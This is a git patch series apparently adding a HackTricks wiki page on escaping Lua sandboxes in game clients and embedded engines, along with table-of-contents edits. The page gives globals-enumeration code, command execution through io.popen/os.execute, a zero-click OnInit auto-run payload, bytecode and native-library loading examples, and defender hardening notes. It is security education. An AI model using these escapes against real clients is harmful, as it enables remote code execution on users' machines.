From 9658838c48a4b139e1bb314aa93d7063aeb637b0 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Thu, 28 Aug 2025 12:42:13 +0000 Subject: [PATCH 1/3] Add content from: This House is Haunted: a decade old RCE in the AION client - Remove searchindex.js (auto-generated file) --- src/SUMMARY.md | 3 +- .../lua/bypass-lua-sandboxes/README.md | 125 ++++++++++++++++++ .../python/bypass-python-sandboxes/README.md | 6 + 3 files changed, 133 insertions(+), 1 deletion(-) create mode 100644 src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 5d6679535..e4ca79e73 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -932,4 +932,5 @@ - [Readme](pentesting-web/web-vulnerabilities-methodology/README.md) - [Readme](reversing/cryptographic-algorithms/README.md) - [Readme](reversing/reversing-tools/README.md) - - [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md) \ No newline at end of file + - [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md) + - [Readme](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) \ No newline at end of file diff --git a/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md b/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md new file mode 100644 index 000000000..492fa5893 --- /dev/null +++ b/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md @@ -0,0 +1,125 @@ +# Bypass Lua sandboxes (embedded VMs, game clients) + +{{#include ../../../banners/hacktricks-training.md}} + +This page collects practical techniques to enumerate and break out of Lua "sandboxes" embedded in applications (notably game clients, plugins, or in-app scripting engines). Many engines expose a restricted Lua environment, but leave powerful globals reachable that enable arbitrary command execution or even native memory corruption when bytecode loaders are exposed. + +Key ideas: +- Treat the VM as an unknown environment: enumerate _G and discover what dangerous primitives are reachable. +- When stdout/print is blocked, abuse any in-VM UI/IPC channel as an output sink to observe results. +- If io/os is exposed, you often have direct command execution (io.popen, os.execute). +- If load/loadstring/loadfile are exposed, executing crafted Lua bytecode can subvert memory safety in some versions (≤5.1 verifiers are bypassable; 5.2 removed verifier), enabling advanced exploitation. + +## Enumerate the sandboxed environment + +- Dump the global environment to inventory reachable tables/functions: + +```lua +-- Minimal _G dumper for any Lua sandbox with some output primitive `out` +local function dump_globals(out) + out("=== DUMPING _G ===") + for k, v in pairs(_G) do + out(tostring(k) .. " = " .. tostring(v)) + end +end +``` + +- If no print() is available, repurpose in-VM channels. Example from an MMO housing script VM where chat output only works after a sound call; the following builds a reliable output function: + +```lua +-- Build an output channel using in-game primitives +local function ButlerOut(label) + -- Some engines require enabling an audio channel before speaking + H.PlaySound(0, "r[1]") -- quirk: required before H.Say() + return function(msg) + H.Say(label or 1, msg) + end +end + +function OnMenu(menuNum) + if menuNum ~= 3 then return end + local out = ButlerOut(1) + dump_globals(out) +end +``` + +Generalize this pattern for your target: any textbox, toast, logger, or UI callback that accepts strings can act as stdout for reconnaissance. + +## Direct command execution if io/os is exposed + +If the sandbox still exposes the standard libraries io or os, you likely have immediate command execution: + +```lua +-- Windows example +io.popen("calc.exe") + +-- Cross-platform variants depending on exposure +os.execute("/usr/bin/id") +io.popen("/bin/sh -c 'id'") +``` + +Notes: +- Execution happens inside the client process; many anti-cheat/antidebug layers that block external debuggers won’t prevent in-VM process creation. +- Also check: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM). + +## Zero-click triggers via auto-run callbacks + +If the host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads: + +```lua +function OnInit() + io.popen("calc.exe") -- or any command +end +``` + +Any equivalent callback (OnLoad, OnEnter, etc.) generalizes this technique when scripts are transmitted and executed on the client automatically. + +## Dangerous primitives to hunt during recon + +During _G enumeration, specifically look for: +- io, os: io.popen, os.execute, file I/O, env access. +- load, loadstring, loadfile, dofile: execute source or bytecode; supports loading untrusted bytecode. +- package, package.loadlib, require: dynamic library loading and module surface. +- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, and hooks. +- LuaJIT-only: ffi.cdef, ffi.load to call native code directly. + +Minimal usage examples (if reachable): + +```lua +-- Execute source/bytecode +local f = load("return 1+1") +print(f()) -- 2 + +-- loadstring is alias of load for strings in 5.1 +local bc = string.dump(function() return 0x1337 end) +local g = loadstring(bc) -- in 5.1 may run precompiled bytecode +print(g()) + +-- Load native library symbol (if allowed) +local mylib = package.loadlib("./libfoo.so", "luaopen_foo") +local foo = mylib() +``` + +## Optional escalation: abusing Lua bytecode loaders + +When load/loadstring/loadfile are reachable but io/os are restricted, execution of crafted Lua bytecode can lead to memory disclosure and corruption primitives. Key facts: +- Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses. +- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited. +- Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution. + +This path is engine/version-specific and requires RE. See references for deep dives, exploitation primitives, and example gadgetry in games. + +## Detection and hardening notes (for defenders) + +- Server side: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi. +- Client side: run Lua with a minimal _ENV, forbid bytecode loading, reintroduce a strict bytecode verifier or signature checks, and block process creation from the client process. +- Telemetry: alert on gameclient → child process creation shortly after script load; correlate with UI/chat/script events. + +## References + +- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/) +- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/) +- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html) +- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index bb6ab86b9..a15f28b52 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -4,6 +4,12 @@ These are some tricks to bypass python sandbox protections and execute arbitrary commands. +> See also Lua sandboxes and game client escapes: +{{#ref}} +../../lua/bypass-lua-sandboxes/README.md +{{#endref}} + + ## Command Execution Libraries The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries: From 03ecc87e5c5909d6465fed111fe1ceed5afae492 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Wed, 3 Sep 2025 12:26:39 +0200 Subject: [PATCH 2/3] Update SUMMARY.md with new topics and remove duplicates --- src/SUMMARY.md | 14 +++----------- 1 file changed, 3 insertions(+), 11 deletions(-) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e4ca79e73..e608c043a 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -80,6 +80,8 @@ - [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md) - [Basic Python](generic-methodologies-and-resources/python/basic-python.md) - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md) +- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md) +- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) # 🧙‍♂️ Generic Hacking @@ -923,14 +925,4 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) - - - - - [Readme](blockchain/blockchain-and-crypto-currencies/README.md) - - [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md) - - [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md) - - [Readme](pentesting-web/web-vulnerabilities-methodology/README.md) - - [Readme](reversing/cryptographic-algorithms/README.md) - - [Readme](reversing/reversing-tools/README.md) - - [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md) - - [Readme](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) \ No newline at end of file + From 9091373f8c2ba9a154478c4cce04c514ebaa9078 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Wed, 3 Sep 2025 12:27:00 +0200 Subject: [PATCH 3/3] Update README.md --- .../python/bypass-python-sandboxes/README.md | 5 ----- 1 file changed, 5 deletions(-) diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index a15f28b52..e4cff9ebc 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -4,11 +4,6 @@ These are some tricks to bypass python sandbox protections and execute arbitrary commands. -> See also Lua sandboxes and game client escapes: -{{#ref}} -../../lua/bypass-lua-sandboxes/README.md -{{#endref}} - ## Command Execution Libraries